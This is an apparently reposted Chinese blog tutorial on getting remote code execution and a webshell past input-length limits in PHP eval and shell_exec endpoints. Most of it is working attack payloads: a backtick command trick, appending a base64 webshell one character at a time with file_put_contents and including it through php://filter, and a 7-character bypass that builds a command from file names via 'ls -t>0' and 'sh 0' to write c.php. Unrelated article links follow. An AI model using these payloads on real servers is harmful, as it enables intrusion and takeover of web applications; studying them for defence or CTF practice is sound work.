当前位置: 首页 > news >正文

RCE之突破长度限制

 我们在写webshell时通常会遇到过滤,但除了过滤之外还可能会有长度限制,这里就简单说一下关于RCE突破长度限制的技巧

突破16位

例如:PHP Eval函数参数限制在16个字符的情况下 ,如何拿到Webshell?

<?php
$param = $_REQUEST['param']; 
if (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false) 
{eval($param);
}

常规写法基本上是param=eval($_POST[0]);或者param=$_GET[0]($_POST[1]);&0=assert&1=??

但这里过滤了eval和assert,第二种写法是绕过了waf,但长度超过了16位,也不行。

反引号

但我们知道,在linux下,反引号是可以执行命令的,所以是否可以用`$_GET[1]`作为payload?

测试成功

这种方法很简单,那有没有其他方法也可以突破限制呢?

本地文件包含

使用文件包含的方法,param=include$_GET[1];16个字符,刚好符合,但难点来了,我们要包含的文件在哪?

使用file_put_contents(N,p,8)

在php官网中可以看到file_put_contents第一个参数是文件名,第二个参数是要传入的值,第三个参数是flag,8表示向文件中追加.

所以我们使用file_put_contents将webshell进行base64编码后写入文件中,在文件包含这个文件,不就可以执行了?

那为什么要进行base64编码呢?因为filr_put_contents无法对一些特殊字符进行追加,所以这里需要进行base64的编码

上传写入文件

这里写一个<?php phpinfo();

编码之后PD9waHAgcGhwaW5mbygpOw==,因为param有长度限制,所以只能一位一位的写入

?param=$_GET[1](N,P,8);&1=file_put_contents
?param=$_GET[1](N,D,8);&1=file_put_contents
...

写入成功

包含执行

因为写入的是base64编码的值,无法直接执行,可以使用php://fileter伪协议对文件解码后执行

payload=?param=include$_GET[1]&1=php://filter/read=convert.base64-decode/resouse=N

这种方法利用难度较高,但过程是非常巧妙的

突破7位

<?php
$param = $_REQUEST['param']; 
if( strlen($param) < 8 ) 
{ echo shell_exec($param);
}

这种情况怎么办,之前最短的方法`$_GET[1]`也有10位,将webshell写入文件就更不行了,无法突破?

文件名组合

linux创建文件:

touch  vim  > +文件名等

那是否可以将webshell拆开放在文件名里,之后将文件名组合到一个新的文件中然后执行?

我们创建最后执行的文件命令:

 echo PD9waHAgcGhwaW5mbygpOw| base64 -d>c.php

因为含有特殊字符无法创建文件,所以这里任然需要使用base64编码

怎么组合?

ls -t  以创建时间来列出当前目录下所有文件,所以可以通过这种方式来组合,但创建文件时需要从后往前创建,同时文件列表是通过\n换行符分割的,所以我们文件名最后需要加上\\来转义

将上面的这条命令拆开创建成文件

?param=%3Ehp
?param=%3Ec.p\\
?param=%3Ed\>\\
?param=%3E\ -\\
?param=%3Ee64\\
?param=%3Ebas\\
...

文件创建成功

?param=ls -t>0
?param=sh 0

 组合成文件0,并运行

 成功创建c.php

直接访问c.php

成功突破7位限制

http://www.lryc.cn/news/422769.html

相关文章:

  • Arduino控制带编码器的直流电机速度
  • LangChain与Elasticsearch向量数据库的完美结合
  • element时间段选择器或时间选择器 只设置默认起始时间或者结束时间,不显示问题
  • Vue 3 中,组件间传值有多种方式
  • 前置(3):npm 和npx异同点
  • 笔记(day17)集合概述、List、Set、比较器
  • C语言从头学45——I/O函数(二)
  • Python爬虫——爬取bilibili中的视频
  • 为什么企业电销要用外呼系统
  • Keepalived + Nginx 主备容灾方案介绍
  • PHP、JavaScript代码审计工具
  • 《向量数据库指南》——Ray Data+Anyscale解锁价值评估新篇章
  • 知识改变命运 数据结构【杨辉三角(顺序表)】
  • Docker三剑客之Docker Engine
  • 【Qt】信号与槽(下)
  • 多模态大语言模型(MMLLM)的现状、发展和潜力
  • Linux中apache服务安装与mysql安装
  • Sublime Text常用快捷键
  • 高危漏洞CVE-2024-38077的修复指南
  • docker基本管理和应用
  • AI招聘在人才盘活中的作用:开启智慧人力新篇章
  • 探索SD NAND配套测试工具:工程师的得力助手
  • 三十六、【人工智能】【机器学习】【监督学习】- Bagging算法模型
  • 2024年8月8日(python基础)
  • SpringAOP_面向切面编程
  • 芯片bring-up的测试用例
  • vs code编辑区域右键菜单突然变短
  • 如何将TRIZ的“最终理想解”应用到机器人电机控制设计中?
  • 【记录】基于docker部署小熊派BearPi-Pico H3863开发环境
  • Elasticsearch 与 OpenSearch:谁才是搜索霸主